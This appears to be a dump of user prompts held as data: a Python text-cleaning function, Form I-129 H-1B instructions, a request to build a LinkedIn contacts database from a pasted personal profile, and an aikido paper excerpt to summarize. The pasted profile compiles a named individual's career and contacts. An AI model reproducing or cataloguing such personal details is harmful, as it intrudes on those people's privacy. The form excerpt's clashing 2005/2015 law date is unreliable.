re.sub(r\'\\S+@\\S+\', \'\', text)\n #text = [re.sub(r\'\\S+@\\S+\', \'\', word) for word in text]\n #text = [re.sub(r\'[\\w\\.-]+@[\\w\\.-]+\', \'\', word) for word in text]\n pattern= r\'\\S+@\\S+\'\n text = re.sub(pattern, \'\', text)\n \n pattern= r\'[\\w\\.-]+@[\\w\\.-]+\'\n text = re.sub(pattern, \'\', text)\n \n ##=====================================================##\n \n text = nltk.word\\_tokenize(text)\n \n ##====================================##\n extracted\\_tokens = []\n remaining\\_tokens = []\n\n for token in text:\n match = re.search(r\'laptop\', token)\n if match:\n extracted\\_tokens.append(match.group())\n remaining\\_tokens.append(token.replace(match.group(), \'\'))\n else:\n extracted\\_tokens.append(\'\')\n remaining\\_tokens.append(token)\n \n #print(extracted\\_tokens)\n #print(remaining\\_tokens)\n\n text = [t for t in remaining\\_tokens if t]\n [text.append(t) for t in extracted\\_tokens if t]\n del remaining\\_tokens, extracted\\_tokens\n #print(text)\n \n ##====================================##\n \n # Remove stopwords\n #nltk.download(\'stopwords\')\n stop\\_words = set(stopwords.words(\'english\'))\n #add custom words\n new\\_stopwords=[\'in\',\'and\',\'I\',\'A\',\'http\',\'And\',\'So\',\'arnt\',\'This\',\'When\',\'It\',\n \'many\',\'Many\',\'so\',\'cant\',\'Yes\',\'yes\',\'No\',\'no\',\'These\',\'these\',\n \'mailto\',\'regards\',\'ayanna\',\'like\',\'email\',\'thanks\', \'thank\', \'thank you\',\'url\',\n \'id\',\'he\']\n combined\\_stopwords=stop\\_words.union(new\\_stopwords)\n #text\\_tokens = nltk.word\\_tokenize(text)\n text = [word for word in text if not word in combined\\_stopwords]\n \n # Remove punctuation\n #text = text.translate(str.maketrans("", "", string.punctuation))\n text = [re.sub(r\'[^\\w\\s]\', \' \', word) for word in text]\n \n # Remove special characters\n #text = re.sub(r\'[^\\w\\s]\', \'\', text)\n text = [re.sub(r"[^a-zA-Z0-9]+", \'\', word) for word in text]\n pat = r\'[^a-zA-z0-9.,!?/:;\\"\\\'\\s]\' \n text = [re.sub(pat, \'\', word) for word in text]\n \n # Remove special symbols\n #text = re.sub(r\'[\\W]\', \' \', text)\n text = [re.sub(r\'[\\[\\]\\(\\)\\{\\}\\|@\\\\/:;><\\\'\\,]+\', \' \', word) for word in text]\n \n \n # Remove numbers\n #text = re.sub(r\'\\d+\', \'\', text)\n text = [re.sub(r\'\\d+\', \'\', word) for word in text]\n \n # Remove extra whitespace\n text = [re.sub(r\'\\s+\', \' \', word) for word in text]\n \n # Remove non-sensical symbols/tags\n text = [re.sub(r\'[^\\w\\s]\', \'\', word) for word in text]\n\n # Remove short words\n #text = \' \'.join([word for word in text.split() if len(word) > 2])\n # Remove short words whose length is < 2, they\'re probably not useful\n text = [word for word in text if len(word) >= 2]\n\n # Remove accentuated characters\n #text = unicodedata.normalize(\'NFKD\', text).encode(\'ascii\', \'ignore\').decode(\'utf-8\', \'ignore\')\n text = [unicodedata.normalize(\'NFKD\', word).encode(\'ASCII\', \'ignore\').decode(\'utf-8\') for word in text]\n \n # Remove proper nouns\n if remove\\_proper\\_nouns:\n tagged\\_words = pos\\_tag(text)\n text = [word for word, tag in tagged\\_words if tag != \'NNP\' and tag != \'NNPS\']\n #text = remove\\_proper\\_nouns(tagged\\_sent)\n\n # lemmatize the text\n #tagged\\_tokens = nltk.pos\\_tag(text)\n #lemmatizer = WordNetLemmatizer()\n text = get\\_lemmatized(text)\n \n # Remove duplicate words\n #text = list(set(text))\n text = remove\\_duplicates(text)\n \n # Remove non-ASCII characters\n text = [token.encode(\'ascii\', \'ignore\').decode(\'utf-8\') for token in text]\n \n # Remove rare words\n# if remove\\_rare\\_words:\n# freq\\_dist = FreqDist(text)\n# text = [token for token in text if freq\\_dist[text] > rare\\_word\\_threshold]\n\n if remove\\_rare\\_words:\n word\\_freq = FreqDist(text)\n rare\\_words = [word for word in text if word\\_freq[word] < rare\\_word\\_threshold]\n text = [word for word in text if word not in rare\\_words]\n \n ##=================================================##\n \n ## Some specific word/ phrase removal\n \n # Remove "Thanks,InSrikanth" from the token list using regex\n # Regex pattern to remove "Thanks,InSrikanth" after word tokenization\n #pattern = r\'\\bthanks,\\w+\\b\'\n \n #pattern = r\'\\bthanks,\\s\\*\\w+\\b\'\n #pattern = r"\\bthanks\\S\\*\\b"\n pattern = re.compile(r\'\\bthanks?\\b.\\*\')\n text = [re.sub(pattern, \'\', token) for token in text]\n \n \n ##=================================================##\n \n #print(text)\n #print(combined\\_stopwords)\n \n new\\_stopwords=[\'in\',\'and\',\'I\',\'A\',\'http\',\'And\',\'So\',\'arnt\',\'This\',\'When\',\'It\',\n \'many\',\'Many\',\'so\',\'cant\',\'Yes\',\'yes\',\'No\',\'no\',\'These\',\'these\',\n \'mailto\',\'regards\',\'ayanna\',\'like\',\'email\',\'thanks\', \'thank\', \'thank you\',\'url\',\n \'id\',\'he\']\n combined\\_stopwords=stop\\_words.union(new\\_stopwords)\n \n text = [word for word in text if not word in combined\\_stopwords]\n \n # Remove empty string \n while("" in text):\n text.remove("")\n \n \n return text' -'. A crewman (D);\n4. A fiancé(e) (K-1) or his or her dependent (K-2);\n5. A spouse of a U.S. citizen (K-3) or his or her dependent (K-4);\n6. A J-1 exchange visitor who was admitted in J-1 status for the purpose of receiving graduate medical training;\n7. A J-1 exchange visitor subject to the foreign residence requirement who has not received a waiver of that requirement;\nand\n8. An M-1 student to an H classification, if training received as an M-1 helped him or her qualify for H classification.\nPart 1. Petition Always Required\nThe following classifications always require a petition.\nThe initial evidence listed below and the initial evidence listed under the instructions for a change of status or extension of\nstay must be included with a petition for a new or concurrent employment or for an extension where there is a change in\npreviously approved employment.\nHowever, a petition for extension based on unchanged, previously approved employment should only be filed with the\ninitial evidence required in the extension of stay instructions.\nE-2 CNMI\nAn E-2 CNMI investor is an alien who seeks to enter or remain in the Commonwealth of the Northern Mariana\nIslands (CNMI) in order to maintain an investment in the CNMI that was approved by the CNMI government\nprior to November 28, 2009. An E-2 CNMI investor classification is specifically limited to an alien investor who\nhas previously been granted a qualifying long term investor status under the laws of the CNMI. This classification\nallows an eligible alien to be lawfully present in the CNMI in order to maintain the investment during the\ntransition period from CNMI to Federal immigration law. An investor’s nationality is not a qualifying factor in the\nissuance of an E-2 CNMI investor classification.\nThis classification expires on December 31, 2029\nA petition for the initial issuance of an E-2 CNMI investor classification must be filed within 2 years of the date the E-2\nCNMI investor classification became available, which was January 18, 2011. Petitions for the initial issuance of the E-2\nCNMI filed after January 18, 2013 will be rejected.\nRequests for extension of the E-2 CNMI investor classification may be granted, in increments of not more than 2 years,\nuntil December 31, 2029.\nApplications for the dependents of E-2 CNMI investors must be filed on Form I-539, Application to Extend/Change\nNonimmigrant Status.\nWrite E-2C in the classification block.\nThe petition must be filed with documentary evidence of:\n1. Continuous maintenance of the terms and conditions of E-2 CNMI investor nonimmigrant status;\n2. Physical presence in the CNMI at the time of filing of the extension of stay request; and\n3. The fact that the beneficiary will not leave during the pendency of the extension of stay request.\nH-1B Nonimmigrants (Three Types)\nThe H-1B classification is for aliens coming to the United States temporarily to perform services in a specialty\noccupation.\nWrite H-1B in the classification block.\nForm I-129 Instructions 11/02/22 Page 8 of 30\nA specialty occupation is one that requires the theoretical and practical application of a body of highly specialized\nknowledge to fully perform the occupation and requires the attainment of a bachelor’s or higher degree in a specific\nspecialty, or its equivalent, as a minimum for entry into the occupation in the United States.\nThe petition must be filed by a U.S. employer or a U.S. agent and must be filed with:\n1. Evidence that a labor condition application (LCA) has been certified by the U.S. Department of Labor;\n2. Evidence showing that the proposed employment qualifies as a specialty occupation;\n3. Evidence showing that the beneficiary has the required degree by submitting either:\nA. A copy of the beneficiary’s U.S. bachelor’s or higher degree as required by the specialty occupation;\nB. A copy of a foreign degree and evidence that it is equivalent to the U.S. degree; or\nC. Evidence of education, specialized training, and/or progressively responsible experience that is equivalent to the\nrequired U.S. degree.\n4. A copy of any required license or other official permission to practice the occupation in the state of intended\nemployment; and\n5. A copy of any written contract between the petitioner and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed.\n6. If you are filing an H-1B cap petition for a fiscal year that H-1B registration is required, you must provide a valid\nBeneficiary Confirmation Number for the beneficiary included in this petition, along with a copy of the H-1B\nRegistration Selection Notice.\nNOTE: This evidence requirement is not applicable to H-1B2 petitions.\n7. Off-site Assignment of H-1B Beneficiaries: Petitioners seeking to place the H-1B beneficiary off-site at a location\nother than their own location must answer general questions regarding this assignment in Part 5., Basic Information\nAbout the Proposed Employment and Employer. Petitioners should advise the H-1B beneficiary of the off-site\nwork placement.\nAn H-1B cap-subject petition (including a petition eligible for the advanced degree exemption) only will be accepted for\nfiling if the underlying registration (or the petition itself, if the registration requirement is suspended) is selected toward\nthe annual numerical allocations. When applicable, registrations (or petitions) will be ranked and selected based on\nthe Occupational Employment Survey (OES) wage level that the beneficiary’s proffered wage equals or exceeds for the\nrelevant Standard Occupational Classification (SOC) code in their area(s) of intended employment. Therefore, in the\nH-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement, Item Number 11., you must specify the\nhighest OES wage level that the beneficiary’s proffered wage equals or exceeds for the relevant SOC code in the area(s)\nof intended employment. The OES wage level selected in Part. 5, Item Number 11., must reflect the corresponding OES\nwage level as of the date that the registration underlying the petition was submitted. However, if the registration process\nis suspended, the OES wage level selected in Part. 5, Item Number 11., must reflect the corresponding OES wage level\nas of the date that the petition is filed.\nThe proffered wage is the wage that you intend to pay the beneficiary as indicated on the petition. The SOC code and\narea(s) of intended employment should be indicated on the LCA filed with the petition.\nNOTE: If the beneficiary will work in multiple locations, or in multiple positions if you are filing the petition as an agent,\nyou must select the lowest corresponding OES wage level that the proffered wage will equal or exceed. If the proffered\nwage is expressed as a range, you must select the OES wage level based on the lowest wage in the range. If you are\nrelying on a prevailing wage that is not based on the OES survey, and the proffered wage is less than the corresponding\nlevel I OES wage, you must select the “Wage Level I and below” box. You may not lower the proffered wage listed on the\npetition to an amount that would be equivalent to a lower wage level than the wage level reflected on the selected H-1B\nregistration. If the relevant SOC code does not have current OES prevailing wage information available, you should\nfollow U.S. Department of Labor guidance on prevailing wage determinations to determine which OES wage level to\nselect.\nThe H-1B classification is also for aliens coming to the United States to perform services of an exceptional nature\nrelating to a cooperative research and development project administered by the U.S. Department of Defense\n(DOD).\nForm I-129 Instructions 11/02/22 Page 9 of 30\nWrite H-1B2 in the classification requested block.\nA U.S. employer or U.S. agent may file the petition.\nThe petition must be filed with:\n1. A description of the proposed employment;\n2. Evidence that the services and project meet the above conditions;\n3. A statement listing the names of aliens who are currently or have been employed on the project within the past year,\nalong with their dates of employment;\n4. Evidence that the beneficiary holds a bachelor’s or higher degree or its equivalent in the field of employment; and\n5. A verification letter from the DOD project manager. Details about the specific project are not required.\nThe H-1B classification is also for aliens of distinguished merit and ability in the field of fashion modeling.\nWrite H-1B3 in the classification block.\nThe petition must be filed by a U.S. employer or U.S. agent. The petitioner must submit evidence that establishes the\nbeneficiary will perform services at events or productions of a distinguished reputation. Such evidence includes:\n1. Documentary evidence (such as certifications, affidavits, and reviews) to establish the beneficiary is a fashion model\nof distinguished merit and ability. Any affidavits submitted by present or former employers or recognized experts\nmust set forth their expertise of the affiant and the manner in which the affiant acquired such information; and\n2. Copies of any written contracts between the petitioner and the beneficiary or, if there is no written agreement, a\nsummary of the terms of the oral agreement under which the beneficiary will be employed.\nGeneral H-1B Requirements\nThree relevant laws impacting the filing of H-1B and/or L visa petitions; include:\n1. The American Competitiveness and Workforce Improvement Act (ACWIA), Public Law 105-277 (signed into\nlaw on October 21, 1998);\n2. The H-1B Visa Reform Act of 2004 (signed into law on December 8, 2004); and\n3. Public Law 114-113 (signed into law on December 18, 2005).\nBecause of ACWIA, H-1B and H-1B1 free trade nonimmigrant petitioners must complete the H-1B Data Collection and\nFiling Fee Exemption Supplement, which is part of this petition. We use this supplement (formerly issued separately as\nForm I-129W) to collect additional information about the H-1B nonimmigrant workers and the H-1B petitioners, and to\ndetermine the applicability of fees mandated by ACWIA (INA section 214(c)(9)), the H-1B1 Visa Reform Act of 2004\n(INA section 214(c)(12)), and Public Law 114-113.\nA petitioner seeking initial approval of H-1B or L nonimmigrant status for a beneficiary, or seeking approval to employ an\nH-1B or L nonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and\nDetection fee. This fee does not apply to H-1B1 petitions. The Form I-129 will serve as the vehicle for collection of the\n$500 fee.\nThose petitioners required to submit the $500 Fraud Prevention and Detection fee are also required to submit either an\nadditional $4,000 (H-1B) or $4,500 (L-1) fee mandated by Public Law 114-113, if:\n1. The petitioner employs 50 or more individuals in the United States;\n2. More than 50 percent of those employees are in H-1B or L-1A or L-1B nonimmigrant status; and\n3. The petition is filed on or after December 18, 2015.\nThe Fraud Prevention and Detection Fee and Public Law 114-113 Fee, when applicable, may not be waived. Each\nfee should be submitted by separate check or money order.\nTo determine if they are subject to any of these fees, petitioners must complete the H-1B and H1B1 Data Collection and\nFiling Fee Exemption Supplement discussed below.\nForm I-129 Instructions 11/02/22 Page 10 of 30\nH-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement\nA U.S. employer or U.S. agent who seek to place a beneficiary in H-1B classification (including H-1B1 classification for\nfree trade aliens from Chile and Singapore) must file this supplement.\nThe supplement is used to:\n1. Collect additional information about the H-1B employer and beneficiary; and\n2. Determine the appropriate American Competitiveness and Workforce Improvement Act (ACWIA) fee. The ACWIA\nFee is a training fee meant to fund the training of U.S. workers. But if the employer has 25 or fewer full-time\nemployees, they must pay only one-half of the required fee at INA 214(c)(9)(B). This supplement also helps to\ndetermine whether the beneficiary is subject to the H-1B numerical limitation (also known as the H-1B Cap). Please\nnote that the ACWIA fee may not be assessed to the beneficiary.\nWho is required to submit this supplement?\nA U.S. employer or U.S. agent seeking to classify a beneficiary as an H-1B or H-1B1 Free Trade Nonimmigrant worker\nmust file this supplement with the Form I-129 and the appropriate fee. (See What is the Filing Fee, for more information\nabout the appropriate fee.)\nCompleting Section 1. of the H-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement Form\nAll petitioners who seek to classify a beneficiary as an H-1B or H-1B1 free trade nonimmigrant worker must answer every\nquestion in Item Number 1. of Section 1., General Information. Guidance on how to answer these questions follows.\n1. H-1B dependent employer. An “H-1B dependent employer” is an employer that:\nA. Has 25 or fewer full-time-equivalent employees who are employed in the United States and employs more than\nseven H-1B nonimmigrants;\nB. Has at least 26 but not more than 50 full-time-equivalent employees who are employed in the United States and\nemploys more than 12 H-1B nonimmigrants; or\nC. Has at least 51 full-time equivalent employees who are employed in the United States and employs H-1B\nnonimmigrants in a number that is equal to at least 15 percent of the number of such full-time-equivalent\nemployees.\n2. Willful violators. A willful violator is an employer whom the U.S. Secretary of Labor has found, after notice and\nopportunity for a hearing, to have willfully failed to meet a condition of the labor condition application described in\nsection 212(n) of the Immigration and Nationality Act.\n3. Exempt H-1B nonimmigrant. An “exempt H-1B nonimmigrant” is an H-1B nonimmigrant who:\nA. Receives wages (including cash bonuses and similar compensation) at an annual rate equal to at least $60,000; or\nB. Has attained a master’s degree or higher (or its equivalent) in a specialty related to the intended employment.\n4. Highest level of formal education. In Item Number 2. of Section 1., place an “X” in the appropriate box that most\nclosely reflects the highest level of formal education the beneficiary has attained.\n5. Major/primary field of study. Use the beneficiary’s degree transcripts to determine the primary field of study. DO\nNOT consider work experience to determine the beneficiary’s major field of study.\n6. Master’s or higher degree from a U.S. institution of higher education. Indicate whether or not the beneficiary has\nearned a master’s or higher degree from a U.S. institution of higher education, as defined in 20 U.S.C. section 1001(a).\n7. Rate of pay per year. The “rate of pay’’ is the salary or wages paid to the beneficiary. Salary or wages must be\nexpressed in an annual full-time amount and do not include non-cash compensation or benefits. For example, an\nH-1B worker is to be paid $6,500 per month for a 4-month period and also provided separately a health benefits\npackage and transportation during the 4-month period. The yearly rate of pay if he or she were working for a full year\nwould be 12 times the monthly rate, or $78,000. This amount does not include health benefits or transportation costs.\nThe figure $78,000 should be entered on this form as the rate of pay.' -"create linked database for your linkedin connections and start 1st entry into table for following text of profile : Ehab Al Khiary 1st degree connection1st\nCEO | Founder | Investor | Board Member\n\nERC International Investment\n\nINSEAD\nSaudi Arabia Contact info\n500+ connections\nRami Al Karmi, Vish Narain, and 1 other mutual connectionRami Al Karmi, Vish Narain, and 1 other mutual connection\n\nMessage\n\nMore\nAboutAbout\nMr. Al Khiary is highly experienced executive in the field of the Information Technologies and Telecommunications. He is known for his involvements and contributions in the ICT field for over 20 years, both as a government employee, executive, entrepreneur, investor, and board member of several companies. Mr. Al Khiary is highly experienced executive in the field of the Information Technologies and Telecommunications. He is known for his involvements and contributions in the ICT field for over 20 years, both as a government employee, executive, entrepreneur, investor, and board member of several companies. \nActivityActivity\n20,322 followers20,322 followers\n\nEhab hasn't posted latelyEhab hasn't posted lately\nEhab’s recent posts and comments will be displayed here.Ehab’s recent posts and comments will be displayed here.\nShow all activity\nExperienceExperience\nCo-FounderCo-Founder\nERC International Investment ERC International Investment \nJul 2017 - Present · 5 yrs 9 mosJul 2017 - Present · 5 yrs 9 mos\nCayman IslandsCayman Islands\nERC is an early stage investment company with tech focused in the MENA region.\nThe objective is to leverage close to 100 years of the founders’ experience and relationship to expedite the growth of these startups. Today, our portfolio ranges from digital gifting, logistics, insurtech, and FintechERC is an early stage investment company with tech focused in the MENA region. The objective is to leverage close to 100 years of the founders’ experience and relationship to expedite the growth of these startups. Today, our portfolio ranges from digital gifting, logistics, insurtech, and Fintech…see more\nYOUGotaGift logo\nChief Growth OfficerChief Growth Officer\nYouGotaGiftYouGotaGift\nJan 2020 - Present · 3 yrs 3 mosJan 2020 - Present · 3 yrs 3 mos\nSaudi ArabiaSaudi Arabia\nYouGotaGift is an end to end digital platform for processing and distributing digital Gift Cards from top retailers in the Middle East. As a Fintech & Payment provider, YouGotaGift delivers prepaid digital cards to consumers (B2C) and businesses (B2B) including employee rewards, customers rewards, channel incentives and loyalty.YouGotaGift is an end to end digital platform for processing and distributing digital Gift Cards from top retailers in the Middle East. As a Fintech & Payment provider, YouGotaGift delivers prepaid digital cards to consumers (B2C) and businesses (B2B) including employee rewards, customers rewards, channel incentives and loyalty.…see more\nArabian Information Technology Co. (ARCOM) logo\nCEO & Board MemberCEO & Board Member\nArabian Information Technology Co. (ARCOM) · Full-timeArabian Information Technology Co. (ARCOM) · Full-time\nJun 2015 - Present · 7 yrs 10 mosJun 2015 - Present · 7 yrs 10 mos\nSaudi ArabiaSaudi Arabia\nARCOM is an innovative progressive system integrator with 30 years of successful track record providing IT and telecom services and solutions to governmental and private sectors in the Kingdom of Saudi Arabia and Gulf.ARCOM is an innovative progressive system integrator with 30 years of successful track record providing IT and telecom services and solutions to governmental and private sectors in the Kingdom of Saudi Arabia and Gulf.\nARCOMARCOM\nARCOM is an innovative and progressive system integrator with over 30 years of successful track record providing IT\\telecom services and solutions to public and private sectors in the Kingdom of Saudi Arabia.ARCOM is an innovative and progressive system integrator with over 30 years of successful track record providing IT\\telecom services and solutions to public and private sectors in the Kingdom of Saudi Arabia.\nPlatinum Events UAE logo\nCo-FounderCo-Founder\nPlatinum Events UAEPlatinum Events UAE\nSep 2009 - Present · 13 yrs 7 mosSep 2009 - Present · 13 yrs 7 mos\nPlatinum has established it self as a leading Event Management, wedding planner, and Concierge Service Provider. Our continued success allowed us to expand into newer and equally exciting division such as Platinum Magazine, Platinum Property, and Platinum Collection.\n\nPlatinum has acquired a reputation for organizing some of the most innovative, spectacular and high profile corporate and private events. Platinum has established it self as a leading Event Management, wedding planner, and Concierge Service Provider. Our continued success allowed us to expand into newer and equally exciting division such as Platinum Magazine, Platinum Property, and Platinum Collection. Platinum has acquired a reputation for organizing some of the most innovative, spectacular and high profile corporate and private events. …see more\nPlatinum - Coming SoonPlatinum - Coming Soon\nSocialHub logo\nCo-Founder & Board MemberCo-Founder & Board Member\nSocial HubSocial Hub\nFeb 2013 - Feb 2017 · 4 yrs 1 moFeb 2013 - Feb 2017 · 4 yrs 1 mo\nSaudi ArabiaSaudi Arabia\nSocial Hub is one stop shop for Social Media Services that links organizations to their audience.\n\nSocial Hub offers world-class services with local expertise and flavor. These services ranges from setting strategy, engagement campaign, content generation & socialization, monitoring, and consultation.Social Hub is one stop shop for Social Media Services that links organizations to their audience. Social Hub offers world-class services with local expertise and flavor. These services ranges from setting strategy, engagement campaign, content generation & socialization, monitoring, and consultation.…see more\nShow all 11 experiences\nEducationEducation\nINSEAD logo\nINSEADINSEAD\nDigital Transformation Leadership ProgramDigital Transformation Leadership Program\n2020 - 20202020 - 2020\nMIT Sloan School of Management logo\nMIT Sloan School of ManagementMIT Sloan School of Management\nEntrepreneurial Masters ProgramEntrepreneurial Masters Program\n2013 - 20152013 - 2015\nHarvard Business School Executive Education logo\nHarvard Business School Executive EducationHarvard Business School Executive Education\nYPO President CourseYPO President Course\n2011 - 20112011 - 2011\nShow all 5 education\nLicenses & certificationsLicenses & certifications\n500 Global logo\nVC UnlockedVC Unlocked\n500 Global500 Global\nIssued Nov 2022Issued Nov 2022\nShow credential\nStanford Center for Professional Development logo\nInnovation Strategy Innovation Strategy \nStanford Center for Professional DevelopmentStanford Center for Professional Development\nIssued Jan 2021Issued Jan 2021\nStanford Center for Professional Development logo\nProduct Management Transforming Opportunities into Great Products Product Management Transforming Opportunities into Great Products \nStanford Center for Professional DevelopmentStanford Center for Professional Development\nIssued Jan 2021Issued Jan 2021\nShow all 5 licenses & certifications\nSkillsSkills\nPMPPMP\n\nEndorsed by Abdullah Aljebrein who is highly skilled at thisEndorsed by Abdullah Aljebrein who is highly skilled at this\n\nEndorsed by 3 colleagues at Arabian Information Technology Co. (ARCOM)Endorsed by 3 colleagues at Arabian Information Technology Co. (ARCOM)\n99+ endorsements99+ endorsements\n\nEndorse\nTelecommunicationsTelecommunications\n\nEndorsed by Mohammed Al Ansari and 25 others who are highly skilled at thisEndorsed by Mohammed Al Ansari and 25 others who are highly skilled at this\n\nEndorsed by 6 colleagues at Arabian Information Technology Co. (ARCOM)Endorsed by 6 colleagues at Arabian Information Technology Co. (ARCOM)\n99+ endorsements99+ endorsements\n\nEndorse\nInformation SecurityInformation Security\n\nEndorsed by Ahmad AlOmran who is highly skilled at thisEndorsed by Ahmad AlOmran who is highly skilled at this\n\nEndorsed by 3 colleagues at stcEndorsed by 3 colleagues at stc\n36 endorsements36 endorsements\n\nEndorse\nShow all 28 skills\nOrganizationsOrganizations\nSocial Media Club Saudi Arabia ChapterSocial Media Club Saudi Arabia Chapter\nFounding Memeber · Jan 2013 - PresentFounding Memeber · Jan 2013 - Present\nSocial Media Club is non-profit and the world's largest community of Social Media Professionals with primary mission is to expand digital media literacy, promote standard technologies, encourage ethical behavior and share best practices.\nSocial Media Club is non-profit and the world's largest community of Social Media Professionals with primary mission is to expand digital media literacy, promote standard technologies, encourage ethical behavior and share best practices. \nMobile MondayMobile Monday\nFounding Memeber - Riyadh Chapter · Sep 2012 - PresentFounding Memeber - Riyadh Chapter · Sep 2012 - Present\nMobileMonday™ (MoMo) is an open community platform of mobile industry visionaries, developers and influential individuals fostering brand neutral cooperation and cross-border P2P business opportunities through live networking events to demo products, share ideas and discuss trends from both local and global markets.MobileMonday™ (MoMo) is an open community platform of mobile industry visionaries, developers and influential individuals fostering brand neutral cooperation and cross-border P2P business opportunities through live networking events to demo products, share ideas and discuss trends from both local and global markets.…see more\nInterestsInterests\nTop VoicesTop Voices\nCompaniesCompanies\nGroupsGroups\nNewslettersNewsletters\nSchoolsSchools\nAdena Friedman profile picture\nAdena FriedmanAdena Friedman\n· 3rdThird degree connection\nChair and Chief Executive Officer at NasdaqChair and Chief Executive Officer at Nasdaq\n602,019 followers602,019 followers\n\nFollow\nCharles Best profile picture\nCharles BestCharles Best\n· 3rdThird degree connection\nCo-CEO of Lakeshore Learning and Founder of DonorsChooseCo-CEO of Lakeshore Learning and Founder of DonorsChoose\n281,028 followers281,028 followers\n\nFollow\nShow all 83 Top Voices" -'summarize:\n5\u2002Discussion\nThis paper investigates the added value of aikido, a martial art, as an embodied \npedagogy in the intercultural communication classroom. Intercultural communi\x02cation training aims to develop skills for dealing with challenges and achieving \nappropriate outcomes in intercultural interaction (Deardorff 2020). The findings \nof the benchmarking study show fundamental similarities between aikido inter\x02action and intercultural interaction: focus, skills and embodied learning.\nThe road to a noble outcome in a challenging interaction requires focus, \nwhether it is an aikido or an intercultural interaction. Thirteen-san in (1) referred \nto this focus using the word mindful. Because the odds seem to be against at \nthe very beginning of the interactions between disparate communities, common \nground does not emerge haphazardly, and focus is the way towards a noble \noutcome. When aikido practitioners deliberately seek harmony and circulate to \nbuild common ground, they are in a focused aikido interaction. When interloc\x02utors from different cultures consciously foster recipient design and co-create \ncommon ground (Kecskés 2014), they are in a focused interaction. The circula\x02tion, typical of aikido interaction (Figure 6), is similar to Varela’s definition of \ncirculation (Varela 1989). Circulation in aikido and circulation in intercultural \ncommunication refer to the capacity and sensitivity for tuning behavior to inter\x02action partners. \nIntercultural interaction that does not end up in a communication break\x02down has many similarities with aikido interaction that ends with a noble \noutcome. Taken together, aikido practitioners start an aikido interaction by \nassuming an attitude of calmness, centeredness, groundedness and alertness \nin the moment. This tranquility alters the physiological and the mental state \nand remains throughout the interaction. They behave effectively and efficiently \nwithout doing harm to others, self and the environment. They intend to achieve \na noble outcome, i.e. an outcome in which all people involved feel adequately \nsatisfied. They are open. They take an inviting attitude of observation, positivity \nand flexibility, focusing on the moment, not on prior assumptions, judgments or \nthoughts. At the same time, they are curious. They have the motivation to inter\x02act, discover and learn. They see their attacker as a partner in an aikido interac\x02tion. They move, then blend with their partner by fostering physical closeness, \nsensitivity and a willingness to build or co-create common ground: they unify. \nThey circulate physically to take the perspective of the other and to cooperate. \nThe result is a noble outcome.\nA model with seven core principles emerged from the study’s analysis \n(Figure 7). It visualizes the course of an interaction and shows the relationship \nbetween the seven core principles. This interaction model stems from aikido, \n326 \u2003Greet Angèle De Baets and Ellen Van Praet\nwhich can explain each principle with physical techniques and bodily move\x02ments. The principles thus shift into physical, mental and interactional skills. \nThe seven principles in the model present two interwoven sets of skills that \nrevolve around harmony and common ground. Figure 7 shows persons A and \nB in an intercultural interaction based on the two skill sets. Person A is moti\x02vated to seek harmony and adopts mental and physiological tranquility. Person A \nassures safety throughout the interaction by not sending signals of unsafety and \nnot taking any unsafety signals of person B personally. The safety effort creates a \nwelcoming, inviting and cooperative atmosphere for person B. To achieve a noble \noutcome that is appropriate and acceptable for both persons A and B, person A \nfocuses on co-creating common ground. Person A takes an open, inviting atti\x02tude of observation, positivity and flexibility, focusing on the moment, not on \nprior assumptions, judgments or thoughts. The openness goes hand in hand with \ncuriosity, i.e. the motivation to interact, discover and learn. Person A’s openness \nand curiosity result in active circulation: to take the perspective of the other and \nto cooperate. The more person A succeeds in circulating, the more persons A and \nB unify. They blend and co-create common ground. The interaction has a high \nprobability of achieving a noble outcome.\nAikido moves and exercises turn principles into skills for interaction. From \nparticipants’ point of view in an intercultural training course, they discover \nthe physical activities as a multisensory message. The physical discovery gains \nmeaning by linking moves to the main principles for harmony (tranquility, safety \nand noble outcome) and common ground (openness, curiosity, circulation and \nFigure 7: Aikido interaction model of harmony and common ground.\nHarmony and common ground: Aikido principles for intercultural training\u2003 327\nunification). If an intercultural communication course applied the physical dis\x02covery of an aikido interaction, it would alternate aikido movements with discus\x02sion moments. In the discussions, the course participants give meaning to what \nthey discover in the aikido movements. Both the movement and the discussion \nparts of the training course serve as an example of experiential discovery. The \ntrainer guides the translation process from aikido interaction into intercultural \ninteraction.\nIntroducing the physical practice of aikido into an intercultural communi\x02cation training course adds the kinesthetic stimulus to other obvious stimuli \nsuch as visual (slides, whiteboard and pictures) and auditory (explanations and \nstories) stimuli. Such a multisensory learning environment benefits “encoding, \nstoring and retrieving perceptual information” (Shams and Seitz 2008: 5). After \nall, learning is acquiring knowledge and skills, and having them readily available \nfrom memory to make sense of future problems and opportunities (Brown 2014). \nAlthough easy aikido movements will suffice to learn about applying aikido prin\x02ciples in intercultural interaction, it will take some effort from the learners to do \naikido. The effort is an advantage: learning is deeper and more durable when \neffortful. Learning that is easy is like writing in sand, here today and gone tomor\x02row (Brown 2014).\nAikido exercises teach interactional skills. In addition, some of the aikido \nexercises offer somatic (Hanna 1988) learning: techniques resulting in internal \nphysiological and mental changes. Practicing tranquility involves breathing, \nposture and movement exercises to become calm, centered, grounded and alert \nin the moment. Somatic exercises can create changes in the autonomic nervous \nsystem that influence behavior positively: resilience, creativity and empathy \n(Porges 2007; Porges 2021; Swinnen 2020; Swinnen 2021; Park and Thayer 2014). \nPositive behavior, empathy and creativity (Kecskés 2020) are critical factors \nin intercultural interaction and the development of intercultural competence \n(Deardorff 2020).\n6\u2002Conclusion\nIntercultural communication training that relies on conventional didactic expla\x02nations results in knowledge about intercultural communication, not in com\x02petence in intercultural interaction. Competence is the result of experiential \ndiscovery, of learning through experience. Intercultural communication training \ncan bring experiential discovery into its classroom by introducing the embod\x02ied pedagogy of aikido. Firstly, aikido interaction and intercultural interaction \n328 \u2003Greet Angèle De Baets and Ellen Van Praet\nshare the significance of focused interaction in which participants consciously \nseek harmony and co-create common ground. Secondly, aikido’s embodied ped\x02agogy provides the classroom with multisensory learning practice and somatic \ndiscovery.\nHarmony and common ground in challenging interaction, such as in aikido, \nresult from focused action. Aikido practitioners consciously seek harmony by \npracticing tranquility, creating safety and pursuing a noble outcome, i.e. an \noutcome in which all people involved feel adequately satisfied. They build or \nco-create common ground on an attitude of openness and curiosity on the one \nhand and by unifying and circulating with any person involved in the interaction \non the other hand. \nWe found similarities between seeking harmony and building common ground \nin aikido interaction and conscious recipient design and co-created common \nground in intercultural interaction. The way interlocutors in 